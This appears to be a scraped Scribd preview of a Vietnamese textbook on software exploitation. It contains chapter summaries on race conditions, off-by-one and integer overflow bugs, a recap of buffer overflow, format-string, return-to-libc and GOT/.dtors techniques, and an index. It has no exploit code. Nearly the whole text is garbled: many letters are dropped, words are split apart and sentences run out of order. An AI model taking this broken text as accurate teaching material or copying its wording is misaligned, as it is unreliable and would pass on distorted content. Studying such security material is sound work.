cũng có th do s khác bi t c a ki u có d u và không d u ví d như n u c ng 1 vào giá tr dương 7F c a m t bi n ki u char thì bi n này s mang giá tr âm. và cũng có th b gây ra do s b t đ i x ng gi a s giá tr âm và s giá tr dương c a ki u có d u ví d như l y s đ i c a -128 th p phân s đư c chính -128 th p phân đ i v i ki u char. hay khi c ng 1 vào m t byte mang giá tr FF s b quay vòng v 00. • L i tràn s nguyên có th do đ dài c a ki u d li u không phù h p như vi c gán m t giá tr ki u int vào ki u ng n hơn như short hay char. TÓM T T VÀ GHI NH 103 • Cách kh c ph c l i trư ng h p đua thông thư ng nh t là s d ng khóa ho c c hi u đ tu n t hóa vi c truy c p tài nguyên.4. • Chương trình có th b vư ng l i an ninh t n d ng t i m t v trí khác.5. • L i dư m t là trư ng h p riêng c a l i tràn b đ m trong đó ch m t ký t b tràn. m t nơi nhưng ch th t s b • L i tràn s nguyên x y ra khi m t tác v s h c t o nên m t giá tr s n m ngoài kho ng có th bi u di n đư c b i ki u d li u. .

M T S LO I L I KHÁC .104 CHƯƠNG 5.

cách s d ng chúng đ quét ngăn x p. chúng ta còn xem xét qua ba l i nghiêm tr ng khác. các ph n t trong b ng GOT. Chúng ta đã kh o sát trư ng h p đua gi a các ti n trình và ti u trình khi truy c p vào cùng m t tài nguyên làm nh hư ng đ n tính an toàn c a chương trình như th nào. Chúc đ c gi nhi u ni m vui trong nghiên c u. đã th c hi n t n d ng l i đ thi t l p giá tr c a m t bi n n i b .Chương 6 Tóm t t T i đây.dtors. Tác gi hy v ng r ng tài li u này đã đem đ n cho đ c gi m t ph n nh trong kho ki n th c kh ng l đ y. b t đ u t các h cơ s r i chuy n qua b vi x lý. ' $ D ng đ c và suy nghĩ Đ c gi có th t h th ng hóa l i nh ng gì đã bàn không? Chào t m bi t. các l nh máy. B n đ c đã đư c gi i thi u v c u trúc máy tính. Sau đó chúng ta xem qua m t trư ng h p đ c bi t c a l i tràn b đ m trong đó ch m t byte b tràn. các cách c t m t giá tr l n thành nhi u ph n đ ti n cho vi c ghi. Công vi c nghiên c u an ninh ng d ng đòi h i m t ki n th c n n t ng v ng vàng và t ng quát. Ngoài hai lo i l i ph bi n trên. Và cu i cùng chúng ta bàn v l i x y ra khi giá tr vư t quá mi n bi u di n đư c c a ki u d li u. chúng ta đã xem xét v nguyên t c ho t đ ng c a chu i đ nh d ng. Khi bàn v l i chu i đ nh d ng. ngăn x p. ghi m t giá tr b t kỳ vào m t vùng nh b t kỳ. các yêu c u đ nh d ng thông thư ng. và n i k t nhi u l n quay v thư vi n chu n v i nhau. quay tr v thư vi n chu n. Chúng ta đã kh o sát lo i l i tràn b đ m. b nh . ch rõ nh ng “phép màu” trong các k thu t t n d ng l i. và áp d ng k thu t đó vào vi c t n d ng l i thông qua danh sách hàm h y trong phân vùng . bi t đ n nh ng cách chuy n dòng b nh p chu n. chúng ta đã k t thúc b n ph n chính c a tài li u này. & % 105 . thay đ i lu ng th c thi c a chương trình. h p ng và phương pháp m t trình biên d ch chuy n mã t ngôn ng c p cao sang ngôn ng c p th p.

45 M mã l nh. 21 P phân vùng trao đ i. 13 ng. 27 G G r i. 41 con tr l nh.Ch m c $. 30 CPU. 11 hàm g i. 89 h p ng . 11 H th p l c phân. 13 O ô ngăn x p. 53 bi n n i b . 17 đư ng truy n đ a ch . 38 b ng đ a ch toàn c c. 13 k t thúc chu i. 99 carriage return. 13 Lu ng th c thi. 41 đư ng truy n d li u. 73 Chuy n hư ng. 17 ph n x lý tín hi u. 18 N new line. 68 liên k t m m. 21 ng u nhiên hóa dàn tr i không gian c p cao. 48 H H nh phân. 27 C c hi u. 17 ngăn x p. 13 Chương trình g r i. 27 hàm h y. 13 k t thúc nh . 68 prolog. 92 bi n c c b . 45 B nh . 13 dòng m i. 16 mã máy. 99 kho ng tr ng. 13 E epilog. 54 NUL. 17 K khóa. 20 I đ i s . 11 H th p phân. 99 danh sách hàm h y. 13 con tr ngăn x p. 21 Bi n môi trư ng. 90 d i con tr v đ u dòng. 37 b xu t chu n. 27 106 . 13 Central Processing Unit. 13 D Dư m t. 65 line feed. 23 B b n p. 27 bi n t đ ng. 17 b nh p chu n. 18 L l i phân đo n. 21 con tr vùng nh . 48 chu i đ nh d ng. 29 đ a ch tuy n tính.

13 v . 21 vi x lý. 13 107 . 65 quy ư c g i hàm. 18 tràn s nguyên. 52 ti u trình. 101 Trư ng h p đua. 16 T Thanh ghi. 98 T p l nh. 51 quay v thư vi n chu n. 27 vùng nh ngăn x p. 30 X xu ng dòng.CH M C Q qu n lý b nh o. 17 quay v phân vùng .text. 99 V vào sau ra trư c. 16 th i đi m ki m tra/th i đi m s d ng. 61 vùng nh . 93 S shellcode. 95 ti n trình. 95 tu n t hóa.

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->